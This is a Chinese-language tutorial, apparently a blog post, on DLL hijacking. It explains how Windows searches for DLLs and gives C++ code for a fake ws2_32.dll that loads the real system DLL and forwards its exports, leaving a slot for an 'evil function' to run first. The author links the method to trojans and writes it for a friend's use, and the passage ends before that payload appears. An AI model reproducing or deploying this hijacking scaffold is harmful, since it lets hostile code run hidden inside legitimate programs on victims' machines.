看名字就知道大概原理了,以前的木马有很多都是这个原理的。实际上这算是利用了windows寻找文件的一个特性,就是先在当前目录寻找需要调用的dll文件,如果没有找到那就再去系统目录下寻找,再没有就去环境变量中的目录中寻找。我们要做的就是伪造一个同名dll,并且伪造一张相同的输出表,伪造的DLL中把每个输出函数都跳转到真正的dll中。而在跳转之前我们就可以做爱做的事。
OK了废话不多说,小帅非得让我给他写一个出来。好吧,来吧。
因为C++多态,虚函数等特性。编译的时候输出函数的名字会被编译器改掉。所以要用预览源代码打印关于1#pragmacomment(linker,"/EXPORT:DestinyFunc=MyFunc,@1")
来定义输出函数。
毕竟那些输出函数都是假的,我们要转发,转发的话需要真实函数的地址。代码如下预览源代码
01 HMODULEm_hModule=NULL;//原始模块句柄
02DWORDm_dwReturn[500]={0};//原始函数返回地址
03
04
05//加载原始模块
06inlineBOOLWINAPILoad()
07{
08TCHARtzPath[MAX_PATH];
09TCHARtzTemp[MAX_PATH*2];
10
11GetSystemDirectory(tzPath,MAX_PATH);
12lstrcat(tzPath,TEXT("\\ws2_32.dll"));
13m_hModule=LoadLibrary(tzPath);
14if(m_hModule==NULL)
15{
16wsprintf(tzTemp,TEXT("无法加载%s,程序无法正常运行。"),tzPath);
17MessageBox(NULL,tzTemp,TEXT("AheadLib"),MB_ICONSTOP);
18}
19
20return(m_hModule!=NULL);
21}
22
23//释放原始模块
24inlineVOIDWINAPIFree()
25{
26if(m_hModule)
27{
28FreeLibrary(m_hModule);
29}
30}
31
32//获取原始函数地址
33FARPROCWINAPIGetAddress(PCSTRpszProcName)
34{
35FARPROCfpAddress;
36CHARszProcName[16];
37TCHARtzTemp[MAX_PATH];
38
39if(m_hModule==NULL)
40{
41if(Load()==FALSE)
42{
43ExitProcess(-1);
44}
45}
46
47fpAddress=GetProcAddress(m_hModule,pszProcName);
48if(fpAddress==NULL)
49{
50if(HIWORD(pszProcName)==0)
51{
52wsprintf(szProcName,"%d",pszProcName);
53pszProcName=szProcName;
54}
55
56wsprintf(tzTemp,TEXT("无法找到函数%hs,程序无法正常运行。"),pszProcName);
57MessageBox(NULL,tzTemp,TEXT("AheadLib"),MB_ICONSTOP);
58ExitProcess(-2);
59}
60
61returnfpAddress;
62}
OK了,可以找到真正的输出函数地址了,那就把每个输出函数都单列出来转到真正的输出函数就可以了,但是不能光转啊,光转的话怎么做爱做的事啊,我们在转发之前写一个邪恶的函数HiJackThis();
*
* |